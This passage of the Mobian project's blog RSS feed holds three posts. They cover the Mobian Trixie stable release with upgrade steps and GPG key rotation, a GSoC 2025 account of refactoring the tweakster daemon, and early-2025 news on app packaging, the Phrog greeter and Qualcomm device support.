<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Mobian&#39;s Blog</title>
    <link>https://blog.mobian.org/</link>
    <description>Recent content on Mobian&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Mon, 13 Oct 2025 12:00:00 +0000</lastBuildDate><atom:link href="https://blog.mobian.org/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>A new Stable, and rotating keys</title>
      <link>https://blog.mobian.org/posts/2025/10/new-stable-rotating-keys/</link>
      <pubDate>Mon, 13 Oct 2025 12:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2025/10/new-stable-rotating-keys/</guid>
      <description>&lt;p&gt;A little more than 2 months after Debian, we&amp;rsquo;re finally releasing Mobian Trixie
as our new stable release! We&amp;rsquo;re also taking this opportunity to start rotating
the PGP/GPG keys we&amp;rsquo;re using for signing both our images and package archive.&lt;/p&gt;
&lt;h2 id=&#34;trixie-has-landed&#34;&gt;Trixie has landed!&lt;/h2&gt;
&lt;p&gt;Over 2 years in the making, and with a small delay following the Debian
release, we&amp;rsquo;re proud to finally announce &lt;strong&gt;Mobian Trixie&lt;/strong&gt; has just been
released and is therefore our new stable!&lt;/p&gt;
&lt;p&gt;This release offers images based on Phosh 46.0 and Plasma Mobile 6.3, running
a 6.12 kernel for almost all supported devices (the Librem 5 is still using a
6.6 kernel), the list of which is growing as we now provide stable images for
the following phones and tablets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PINE64 PinePhone, PinePhone Pro and PineTab&lt;/li&gt;
&lt;li&gt;Purism Librem 5&lt;/li&gt;
&lt;li&gt;Google Pixel 3a and 3a XL&lt;/li&gt;
&lt;li&gt;OnePlus 6 and 6T&lt;/li&gt;
&lt;li&gt;Xiaomi Pocophone F1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Trixie images are also available for the following devices, although important
hardware features (such as e.g. WiFi or audio) are &lt;strong&gt;not&lt;/strong&gt; working:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fairphone 4 and 5&lt;/li&gt;
&lt;li&gt;PINE64 PineTab 2&lt;/li&gt;
&lt;li&gt;SHIFT6mq&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please check our &lt;a href=&#34;https://wiki.debian.org/Mobian/Devices&#34;&gt;installation instructions&lt;/a&gt;
and &lt;a href=&#34;https://images.mobian.org/&#34;&gt;download the image&lt;/a&gt; for your device.&lt;/p&gt;
&lt;h3 id=&#34;upgrade-procedure&#34;&gt;Upgrade procedure&lt;/h3&gt;
&lt;p&gt;Although we do our best to provide a smooth upgrade path for each Mobian
release, as a downstream Debian derivative, and the mobile software stack
being a quickly moving target, major Mobian upgrades are usually trickier than
we&amp;rsquo;d hoped for. This time is no exception, and therefore we &lt;strong&gt;highly recommend
that you backup all your personal data&lt;/strong&gt;, flash your device with a fresh Trixie
image, then restore your files.&lt;/p&gt;
&lt;p&gt;If you feel brave enough to go the &amp;ldquo;manual upgrade&amp;rdquo; route, here are a few
tricks you should know:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;keep your device plugged to a power source: such an upgrade can be a rather
long process, you don&amp;rsquo;t want to run out of battery half-way there!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;backup all your personal data&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;really, we mean it: &lt;strong&gt;backup all your personal data&lt;/strong&gt;!&lt;/li&gt;
&lt;li&gt;install &lt;code&gt;openssh-server&lt;/code&gt; and &lt;strong&gt;execute the entire upgrade process over SSH&lt;/strong&gt;
(and preferrably using &lt;code&gt;screen&lt;/code&gt; or a similar tool, so the upgrade can carry
on even if the network connection is lost)&lt;/li&gt;
&lt;li&gt;ensure your Bookworm installation is fully up-to-date; as the GPG key we use
for signing the package repository has expired since the Bookworm release,
you&amp;rsquo;ll probably need to run &lt;code&gt;apt update &amp;amp;&amp;amp; apt dist-upgrade&lt;/code&gt; at least twice:
the first time it will update the Mobian keyring package, the second
invocation will pull in the latest updates for Mobian-specific packages&lt;/li&gt;
&lt;li&gt;reboot, then edit &lt;strong&gt;both&lt;/strong&gt; &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; and
&lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt;, replacing all occurences of
&lt;code&gt;bookworm&lt;/code&gt; with &lt;code&gt;trixie&lt;/code&gt; in &lt;strong&gt;both&lt;/strong&gt; files; you should then stop the
&lt;code&gt;greetd&lt;/code&gt; service (this will stop all running graphical applications, and is
why SSH is needed!) and run &lt;code&gt;apt update &amp;amp;&amp;amp; apt dist-upgrade&lt;/code&gt; once again&lt;/li&gt;
&lt;li&gt;write down the list of packages &lt;strong&gt;removed&lt;/strong&gt; by &lt;code&gt;apt dist-upgrade&lt;/code&gt; which
start with &lt;code&gt;mobian-&lt;/code&gt; as those will have to be reinstalled later on to restore
full functionality of your device; please note that some packages have been
renamed/replaced in Trixie, so it can be expected to see e.g. &lt;code&gt;phog&lt;/code&gt; or
&lt;code&gt;pinephonepro-tweaks&lt;/code&gt; in the list of removed packages&lt;/li&gt;
&lt;li&gt;reinstall all &lt;code&gt;mobian-*&lt;/code&gt; packages removed in the previous step; this will
remove &lt;code&gt;pulseaudio&lt;/code&gt; from the system, which is to be expected as Mobian now
relies on (and mandates the use of) PipeWire&lt;/li&gt;
&lt;li&gt;run &lt;code&gt;apt autoremove&lt;/code&gt; to clean up unneeded packages&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;fde-installs&#34;&gt;FDE installs&lt;/h3&gt;
&lt;p&gt;Unfortunately, we haven&amp;rsquo;t been able to fix the issues preventing us from
providing installer images for Trixie. However, you can still install Trixie
with full disk encryption, even though the process is a tiny bit less
user-friendly.&lt;/p&gt;
&lt;p&gt;First, you&amp;rsquo;ll have to &lt;a href=&#34;https://salsa.debian.org/Mobian-team/mobian-recipes/-/archive/mobian-trixie/mobian-recipes-mobian-trixie.tar.gz&#34;&gt;download&lt;/a&gt;
(and unpack) or clone the &lt;code&gt;mobian-recipes&lt;/code&gt; repository:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;  git clone https://salsa.debian.org/Mobian-team/mobian-recipes.git -b mobian-trixie
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once this is complete, enter the &lt;code&gt;mobian-recipes&lt;/code&gt; folder and:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;install the required dependencies listed in the &lt;code&gt;README.md&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;execute the following command:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;  ./build.sh -t &amp;lt;device&amp;gt; -c -R &amp;lt;password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will generate an encrypted image you can flash directly to your device and
decrypt using the provided &lt;code&gt;&amp;lt;password&amp;gt;&lt;/code&gt;. &lt;code&gt;&amp;lt;device&amp;gt;&lt;/code&gt; can be one of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;amd64&lt;/code&gt; for x86-64 computers&lt;/li&gt;
&lt;li&gt;&lt;code&gt;librem5&lt;/code&gt; for the Purism Librem 5&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rockchip&lt;/code&gt; for the PINE64 PinePhone Pro and PineTab 2&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sc7280&lt;/code&gt; for devices based on the Qualcomm SC7280 SoC (Fairphone 5)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sdm670&lt;/code&gt; for devices based on the Qualcomm SDM670 SoC (Google Pixel 3a/3a
XL)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sdm845&lt;/code&gt; for devices based on the Qualcomm SDM845 SoC (OnePlus 6/6T,
Pocophone F1, SHIFT6mq)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sm6350&lt;/code&gt; for devices based on the Qualcomm SM6350 SoC (Fairphone 4)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sunxi&lt;/code&gt; for the PINE64 PinePhone and PineTab&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;rotating-gpg-keys&#34;&gt;Rotating GPG keys&lt;/h2&gt;
&lt;p&gt;We have been using a single GPG key since we first started to sign our images
and package repositories. Replacing it has been on our roadmap for quite a
while, but we needed to ensure our users would have a painless upgrade path.&lt;/p&gt;
&lt;p&gt;We therefore decided to stick with the current key for Trixie (at least for
now) and use new keys for the subsequent releases. As a matter of fact, we&amp;rsquo;ve
created 4 new keys:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 for each of the &lt;code&gt;forky&lt;/code&gt;, &lt;code&gt;staging&lt;/code&gt; and &lt;code&gt;trixie&lt;/code&gt; package repositories&lt;/li&gt;
&lt;li&gt;1 key (fingerprint &lt;code&gt;782C 6C58 B583 FE96 6CEE 44EB F8BD AB78 BEE2 46C2&lt;/code&gt;) will
be dedicated to signing the images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moreover, we&amp;rsquo;re now using a signing-only subkey rather than the main key,
allowing the latter to be passphrase-protected. They&amp;rsquo;re being deployed
according to the following agenda:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the &lt;code&gt;forky&lt;/code&gt; package archive is already being signed with the corresponding
key (fingerprint &lt;code&gt;B174 17D5 C4B1 6F65 EE4F B75A 2DB8 7A16 935C 56F1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;the &lt;code&gt;staging&lt;/code&gt; repository will switch to the new key (fingerprint
&lt;code&gt;5F17 F59A 9615 87EA A5D1 1E44 A207 DED0 81BB FABF&lt;/code&gt;) once the updated
&lt;code&gt;mobian-archive-keyring&lt;/code&gt; package hits Debian testing, a few days from now&lt;/li&gt;
&lt;li&gt;we haven&amp;rsquo;t decided when we&amp;rsquo;ll be using the &lt;code&gt;trixie&lt;/code&gt; key (fingerprint
&lt;code&gt;248C 06CE D075 774B FD69 9C09 E8B4 9A42 1214 09B5&lt;/code&gt;) for the corresponding
archive; the only certainty is that we won&amp;rsquo;t deploy it before an updated
version of &lt;code&gt;mobian-archive-keyring&lt;/code&gt; is available in Debian stable&lt;/li&gt;
&lt;li&gt;the images-signing key is in use since October 12th and has been used to sign
the Trixie images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Should you encounter errors updating your Mobian packages, please ensure first
that you have a recent enough version of the &lt;code&gt;mobian-archive-keyring&lt;/code&gt; package
(which is &lt;code&gt;20251011.0&lt;/code&gt; at the time of this writing). If the problem persists,
feel free to reach out on &lt;a href=&#34;https://matrix.to/#/#mobian:matrix.org&#34;&gt;Matrix&lt;/a&gt; for
additional help (please start by searching through the recent conversation
history, as this issue may have been already discussed and solved).&lt;/p&gt;
&lt;p&gt;Those keys can also be manually downloaded using the following
&lt;a href=&#34;https://repo.mobian.org/mobian.gpg&#34;&gt;link&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>A Summer with Mobian: The Story of Tweakster (GSoC &#39;25)</title>
      <link>https://blog.mobian.org/posts/2025/08/a-summer-with-mobian/</link>
      <pubDate>Sat, 23 Aug 2025 08:34:47 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2025/08/a-summer-with-mobian/</guid>
      <description>&lt;p&gt;This summer, I had the incredible opportunity to work with the Mobian project for Google Summer of Code 2025. My goal was to continue
the work on tweakster to a point where it could integrate smoothly with the Mobian ecosystem. This post is a summary of my work, the
challenges I faced, and what&amp;rsquo;s next for tweakster.&lt;/p&gt;
&lt;h3 id=&#34;the-root-problem&#34;&gt;The Root Problem&lt;/h3&gt;
&lt;p&gt;Since the start of Mobian in 2020, the goal has always been clear: have one bootable image for all kinds of non-x86 devices.
That’s much harder than it sounds. There are subtle but crucial hardware differences across devices that require specific tweaks,
making the mission of achieving a &lt;a href=&#34;https://blog.mobian.org/posts/2025/02/early-2025-news/&#34;&gt;Universal Kernel&lt;/a&gt; on a system level very difficult.&lt;/p&gt;
&lt;p&gt;Another pain point is the significant number of new non-x86 Linux-capable devices that have hit the market in the past few years, especially
ARM64 laptops, mobile phones, and tablets. Maintaining a device-specific package for each one is impractical. It would take us far away from
the “universal system” dream and make Mobian devs&amp;rsquo; jobs even harder!&lt;/p&gt;
&lt;h3 id=&#34;how-it-all-started&#34;&gt;How It All Started&lt;/h3&gt;
&lt;p&gt;After a lot of thought from the team and my mentor, Arnaud (@a-wai), they came up with &lt;strong&gt;tweakster&lt;/strong&gt;, the hero of our story. Simply put,
tweakster is a system daemon that identifies the device it&amp;rsquo;s running on by checking the device-tree &lt;code&gt;compatible&lt;/code&gt; property.
It then determines the necessary tweaks by reading a pre-prepared config file, processes tweaks files, then creates symlinks to the resulting
files into the system. The first attempt in
&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/tree/0.0.3?ref_type=tags&#34;&gt;2022&lt;/a&gt;,
&lt;a href=&#34;https://salsa.debian.org/Mobian-team/packages/rust-tweakster/-/tree/mobian/debian?ref_type=heads&#34;&gt;packaged for Debian&lt;/a&gt;,
saw some improvements over the years, leading to its latest form in
&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/tree/35b6a76e4b5a9ae3f0785c2c87c353dacba6f46d&#34;&gt;2024&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;a-change-in-plans&#34;&gt;A Change in Plans&lt;/h3&gt;
&lt;p&gt;It turned out the first attempt was a bit over-engineered. It needed a complete refactoring, following the philosophy of starting
simple and growing methodically. This is where I came in. Working hand-in-hand with my mentors, Arnaud (@a-wai) and Jarrah (@Undef),
we forged the new vision of tweakster, so it will eventually make it easier to ship Mobian to new devices.&lt;/p&gt;
&lt;p&gt;The new approach is simple: tweakster still performs device identification, but then it leverages Debian&amp;rsquo;s mature packaging system. It reads
the device-specific config (using a completely new file format), copies the required tweaks into a newly created Debian package,
and then builds and installs that package, cleaning temporary files afterwards. It is meant to be run as a systemd service, activated only
on the first boot right after the kernel is running and the root filesystem is mounted. Once its job is done, it exits gracefully
and rests forever.&lt;/p&gt;
&lt;h3 id=&#34;disasters-all-around&#34;&gt;Disasters All Around&lt;/h3&gt;
&lt;p&gt;That was the plan, anyway. But for someone coming from Windows to Ubuntu just a few weeks before GSoC (out of pure curiosity),
setting up the development environment was a nightmare.&lt;/p&gt;
&lt;p&gt;Dealing with Debian packaging tools in Ubuntu was a bit messy, especially &lt;code&gt;dch&lt;/code&gt;, which for some reason was acting weirdly on VS Code
(didn&amp;rsquo;t know about setting &lt;code&gt;DEBFULLNAME&lt;/code&gt;, &lt;code&gt;DEBEMAIL&lt;/code&gt;, &lt;code&gt;EDITOR&lt;/code&gt;,&amp;hellip; back then). I decided to shift to
Debian Bookworm (the stable release at the time). Then I had the &lt;strong&gt;cool&lt;/strong&gt; idea to develop purely in the terminal and throw VS Code
in the trash. That solved the &lt;code&gt;dch&lt;/code&gt; problem (temporarily), though I still had to set &lt;code&gt;DEB*&lt;/code&gt; attributes anyway. But then I decided to go further: why not use a container to avoid messing up my system
with development packages and keep everything tight?&lt;/p&gt;
&lt;p&gt;Docker wasn&amp;rsquo;t for me, but I found out about LXC and got really excited. It turned out to be much harder than I thought. Setting up
LXC network config and system-wide UID, GID mappings was a pain. Even user-level configuration was tricky, and permission problems
were everywhere. After four days of wrestling with it, it finally worked!&lt;/p&gt;
&lt;p&gt;But why stop there? The vim-memes are famous and the coolest engineers I knew at the time were using Vim/Neovim. So, I gave it a shot.
Using a pre-configured Neovim setup wasn&amp;rsquo;t for me. I like to know my stuff deeply. I cloned the Neovim repo, built it from source,
and configured it manually, learning the basics of Lua along the way. It was a struggle to get what was in my head onto the screen.
I broke my config nearly 10 times (maybe even more!) before getting something I&amp;rsquo;m happy with. This detour took a full week.&lt;/p&gt;
&lt;p&gt;Then came the main challenge: I had never written a line of Rust before. Coming from the C family, Rust&amp;rsquo;s syntax looked alien to me,
but I had no choice: I had to learn it and get to work. And let&amp;rsquo;s not forget learning how to set up SSH and GPG keys for my very
first commit and merge request. That was fun to learn!&lt;/p&gt;
&lt;h3 id=&#34;the-main-course&#34;&gt;The Main Course&lt;/h3&gt;
&lt;p&gt;All of that happened before GSoC coding officially started! During the coding period, with the incredible help of my mentors,
I managed to get some cool stuff done.&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&#34;https://gitlab.com/mobian1/tweakster&#34;&gt;tweakster&lt;/a&gt; repo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/merge_requests/7&#34;&gt;Replace hardcoded tweaks path&lt;/a&gt;: A fun refactor using env vars to
dynamically get the tweaks location. [merged]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/merge_requests/8&#34;&gt;Remove obsolete modules and introduce new config format&lt;/a&gt;: This was
the main entry point for tweakster&amp;rsquo;s new vision, removing all old Rust modules and symlink logic, making way for the new
config format. [merged]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/merge_requests/9&#34;&gt;Add file processing module&lt;/a&gt;: A module to handle all file operations
from reading and parsing config to creating a list of package-related file paths. [under review]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/merge_requests/10&#34;&gt;Add packaging module&lt;/a&gt;: This piece takes the list of files generated
by the file processing module and proceeds to create a package, copy files into it, build it,
and finally install it on the system. [under review]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/tweakster/-/merge_requests/11&#34;&gt;Packaging tweakster&lt;/a&gt;: An attempt to package tweakster itself as
a Debian package, but it turned out there was a better way to do it. [closed]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the &lt;a href=&#34;https://salsa.debian.org/Mobian-team/tweaks-data&#34;&gt;tweaks-data&lt;/a&gt; repo (where all &lt;strong&gt;tweaks&lt;/strong&gt; and &lt;strong&gt;device-configs&lt;/strong&gt; live):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://salsa.debian.org/Mobian-team/tweaks-data/-/merge_requests/1&#34;&gt;Remove obsolete config&lt;/a&gt;: A cleanup MR to remove old
data and prepare for the new state. [merged]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://salsa.debian.org/Mobian-team/tweaks-data/-/merge_requests/2&#34;&gt;Add common tweaks config and files&lt;/a&gt;: The first step to
make tweaks-data compatible with the new tweakster. [merged]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://salsa.debian.org/Mobian-team/tweaks-data/-/merge_requests/3&#34;&gt;Add PinePhone, PineTab, and Librem 5 config and files&lt;/a&gt;:
The final step to make tweaks-data initially compatible with the new tweakster. [under review]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;is-it-in-its-finest-form&#34;&gt;Is It in Its Finest Form?&lt;/h3&gt;
&lt;p&gt;Assuming the work under review gets merged, the current state of &lt;strong&gt;tweakster&lt;/strong&gt; and &lt;strong&gt;tweaks-data&lt;/strong&gt; is functional.
But there is plenty of room for improvement! For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improve the test suite by adding test cases for all new functionality.&lt;/li&gt;
&lt;li&gt;Make tweakster set &lt;strong&gt;DEBFULLNAME&lt;/strong&gt; to avoid using &lt;strong&gt;root&lt;/strong&gt; as maintainer name when generating the package.&lt;/li&gt;
&lt;li&gt;Improve error handling throughout the codebase.&lt;/li&gt;
&lt;li&gt;Improve the current state of config validation to avoid eliminating files that hit the same &lt;strong&gt;dest&lt;/strong&gt; but with different purposes.&lt;/li&gt;
&lt;li&gt;Add a CLI option (&amp;ndash;config-validate) for a dry run.&lt;/li&gt;
&lt;li&gt;Add fallback functionality for tweakster to use common tweaks if no device-specific config is found.&lt;/li&gt;
&lt;li&gt;Improve the README and documentation to help new contributors.&lt;/li&gt;
&lt;li&gt;Package tweakster for Debian using debcargo-conf.&lt;/li&gt;
&lt;li&gt;Make tweakster run on each boot and create a new version of the installed tweaks&amp;rsquo; package if the configs and/or tweaks files
have been updated.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip;and even &lt;strong&gt;MORE&lt;/strong&gt;! Anyone is more than welcome to contribute. Just drop a &amp;ldquo;Hi!&amp;rdquo; on
&lt;a href=&#34;https://matrix.to/#/#mobian-dev:matrix.org&#34;&gt;#mobian-dev:matrix.org&lt;/a&gt; and people will happily help you get started,
me included ;)&lt;/p&gt;
&lt;h3 id=&#34;thats-it-thats-all-you-got&#34;&gt;That&amp;rsquo;s It? That&amp;rsquo;s All You Got?&lt;/h3&gt;
&lt;p&gt;Besides all the technical stuff, I learned some soft skills I never would have otherwise.
The most important lesson was learning to &lt;strong&gt;enjoy the process&lt;/strong&gt;. During the first half of the journey,
I was unnecessarily stressing myself out over nothing. That changed dramatically after I figured out that it&amp;rsquo;s
totally fine to not know everything and that I was actually doing well. My mentors helped a lot with that, too.&lt;/p&gt;
&lt;h3 id=&#34;a-round-of-applause&#34;&gt;A Round of Applause&lt;/h3&gt;
&lt;p&gt;I am incredibly thankful and grateful to my mentors for believing in me and giving me this opportunity to thrive.&lt;/p&gt;
&lt;p&gt;A huge thank you to &lt;strong&gt;Jarrah (@Undef)&lt;/strong&gt; for co-mentoring me and always being there. He helped me when I was stuck,
offered fresh ideas, reviewed my code thoughtfully, and was always responsive in chat or meetings, no matter how naive my questions were.&lt;/p&gt;
&lt;p&gt;And most especially, thank you to &lt;strong&gt;Arnaud Ferraris (@a-wai)&lt;/strong&gt; for everything: for being there from the very beginning,
laying the foundation of my understanding of tweakster and the Mobian project, how to communicate effectively,
introducing me to the team, and helping me grow. He gave me the space and confidence to make mistakes and recover,
and, most importantly, the courage to dig deeper into the world of Mobile Linux.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>2025: off to a flying start!</title>
      <link>https://blog.mobian.org/posts/2025/02/early-2025-news/</link>
      <pubDate>Wed, 19 Feb 2025 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2025/02/early-2025-news/</guid>
      <description>&lt;p&gt;Over the past few months, and especially since the last holiday season, many
exciting things have happened in Mobian: new devices are (about to be)
officially supported, many new and improved packages have made their way into
both Debian and Mobian, and we&amp;rsquo;re getting ready for our next stable release!&lt;/p&gt;
&lt;h3 id=&#34;towards-a-device-specific-only-repository&#34;&gt;Towards a &amp;ldquo;device-specific only&amp;rdquo; repository&lt;/h3&gt;
&lt;p&gt;Thanks to the involvement of upstream developers (by either accepting or
writing patches to ensure their applications can be used on mobile devices)
and the work of the relevant Debian teams, many GNOME and KDE apps were made
adaptive and could be uploaded to the main Debian archive without any
additional downstream patch.&lt;/p&gt;
&lt;p&gt;This allowed us to drop (almost) all of the applications we were distributing
through the Mobian package repository:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://apps.gnome.org/Evince/&#34;&gt;Evince&lt;/a&gt; has been replaced with
&lt;a href=&#34;https://apps.gnome.org/Papers/&#34;&gt;Papers&lt;/a&gt;, &lt;a href=&#34;https://apps.gnome.org/Loupe/&#34;&gt;Loupe&lt;/a&gt;
is now used instead of &lt;a href=&#34;https://wiki.gnome.org/Apps/EyeOfGnome&#34;&gt;EOG&lt;/a&gt; and our
main camera app is now &lt;a href=&#34;https://apps.gnome.org/Snapshot/&#34;&gt;Snapshot&lt;/a&gt;, all
available directly from Debian!&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://apps.gnome.org/TextEditor/&#34;&gt;GNOME Text Editor&lt;/a&gt; now works well enough
on mobile devices, as do &lt;a href=&#34;https://apps.gnome.org/Software/&#34;&gt;Software&lt;/a&gt; and
&lt;a href=&#34;https://apps.gnome.org/Settings/&#34;&gt;Settings&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We plan on getting rid of the remaining few ones before the
&lt;a href=&#34;https://lists.debian.org/debian-devel-announce/2025/01/msg00004.html&#34;&gt;Trixie release&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://source.puri.sm/Librem5/millipixels&#34;&gt;Millipixels&lt;/a&gt; (Librem 5 camera
app) will be replaced by &lt;a href=&#34;https://gitlab.com/megapixels-org/Megapixels&#34;&gt;Megapixels&lt;/a&gt;
v2 once it hits the Debian archive&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.gnome.org/kailueke/wake-mobile&#34;&gt;wake-mobile&lt;/a&gt; will likely be
dropped as it&amp;rsquo;s no longer maintained, and upstream offers
&lt;a href=&#34;https://gitlab.gnome.org/kailueke/wake-mobile/-/releases&#34;&gt;.deb packages&lt;/a&gt; for
download anyway&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Except for a patched version of GTK 3 which we will keep maintaining until
&lt;a href=&#34;https://phosh.mobi&#34;&gt;Phosh&lt;/a&gt; is ported to GTK 4, this means all packages in the
Mobian archive will be either Mobian-specific (mainly metapackages) or hardware
support packages (kernels and device-specific tweaks).&lt;/p&gt;
&lt;h3 id=&#34;a-better-tomorrow-greeter&#34;&gt;A better &lt;del&gt;tomorrow&lt;/del&gt; greeter&lt;/h3&gt;
&lt;p&gt;Another major milestone we&amp;rsquo;re about to reach is the move to a new default
login screen: back in 2022, we decided that user session management on mobile
devices shouldn&amp;rsquo;t get any special treatment, and we should rely on a &amp;ldquo;display
manager&amp;rdquo; similar to GDM/LightDM/SDDM, for instance. This would bring many
benefits, the most prominent ones being multi-user setups for those who need it
(e.g. for handing out a personal device for others to try) and automatic
keyring unlocking.&lt;/p&gt;
&lt;p&gt;As no mobile-friendly greeter existed back then, we took a stab at hacking
Phosh itself, as it provided almost everything we needed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;meant to run directly on top of a Wayland compositor&lt;/li&gt;
&lt;li&gt;a lockscreen we could mutate into a login screen&lt;/li&gt;
&lt;li&gt;touch input and on-screen keyboard management&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After stripping it from a lot of its functionality and only keeping the
core and lockscreen features, we came up with &lt;a href=&#34;https://gitlab.com/mobian1/phog&#34;&gt;phog&lt;/a&gt;,
which worked so well that we decided to make it part of Mobian (even though
this was supposed to be a mere proof-of-concept), leaving cleanups and
essential refactoring to a later point in time.&lt;/p&gt;
&lt;p&gt;While this mostly worked out as expected, it proved to be a maintenance
nightmare, and the combination of time and energy required for this much-needed
refactoring was never found, leaving &lt;code&gt;phog&lt;/code&gt; in a suboptimal state for the
foreseeable future.&lt;/p&gt;
&lt;p&gt;Thankfully, this effort inspired others, and &lt;a href=&#34;https://github.com/samcday/&#34;&gt;@samcday&lt;/a&gt;
decided to write a new greeter based on the same concepts, this time using
unmodified Phosh code (by using its core functionality as a shared library)
rather than hacking it to pieces. With the help of &lt;a href=&#34;https://honk.sigxcpu.org/con/&#34;&gt;@agx&lt;/a&gt;,
he ensured &lt;code&gt;libphosh&lt;/code&gt; provided a usable and complete enough API, added Rust
bindings on top of it and finally released &lt;a href=&#34;https://github.com/samcday/phrog&#34;&gt;Phrog 🐸&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Phrog is now &lt;a href=&#34;https://tracker.debian.org/pkg/phrog&#34;&gt;part of Debian&lt;/a&gt; and will
be used as &lt;a href=&#34;https://salsa.debian.org/Mobian-team/mobian-recipes/-/merge_requests/136&#34;&gt;our default greeter&lt;/a&gt;
as soon as it migrates to the &lt;code&gt;testing&lt;/code&gt; repository. This move should be more
future-proof and further reduce our overall tech debt.&lt;/p&gt;
&lt;h3 id=&#34;supporting-new-devices-in-mobian&#34;&gt;Supporting new devices in Mobian&lt;/h3&gt;
&lt;p&gt;On the topic of device-specific tweaks, we made huge progress on ensuring
Qualcomm-based devices can be supported using only packages present in Debian.
As a result, the only &lt;a href=&#34;https://packages.mobian.org/&#34;&gt;Mobian packages&lt;/a&gt; needed
for those devices are effectively the kernels.&lt;/p&gt;
&lt;p&gt;This could be achieved thanks to the combined efforts of many Mobian
contributors, and involved the following tasks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;package essential userspace services for Debian
(&lt;a href=&#34;https://tracker.debian.org/pkg/qbootctl&#34;&gt;qbootctl&lt;/a&gt;,
&lt;a href=&#34;https://tracker.debian.org/pkg/qrtr&#34;&gt;qrtr&lt;/a&gt;,
&lt;a href=&#34;https://tracker.debian.org/pkg/hexagonrpc&#34;&gt;hexagonrpc&lt;/a&gt;&amp;hellip;) and get them
to behave as expected, &lt;a href=&#34;https://github.com/linux-msm/qbootctl/pull/1&#34;&gt;contributing&lt;/a&gt;
&lt;a href=&#34;https://github.com/linux-msm/hexagonrpc/pull/2&#34;&gt;our&lt;/a&gt;
&lt;a href=&#34;https://github.com/linux-msm/qrtr/pull/31&#34;&gt;changes&lt;/a&gt; upstream&lt;/li&gt;
&lt;li&gt;make existing tweaks as generic as possible and group them into the
&lt;a href=&#34;https://tracker.debian.org/pkg/qcom-phone-utils&#34;&gt;qcom-phone-utils&lt;/a&gt; Debian
package&lt;/li&gt;
&lt;li&gt;import small utilities such as
&lt;a href=&#34;https://gitlab.postmarketos.org/postmarketOS/bootmac&#34;&gt;bootmac&lt;/a&gt; and
&lt;a href=&#34;https://gitlab.postmarketos.org/postmarketOS/q6voiced&#34;&gt;q6voiced&lt;/a&gt; into
&lt;code&gt;qcom-phone-utils&lt;/code&gt;, submitting upstream
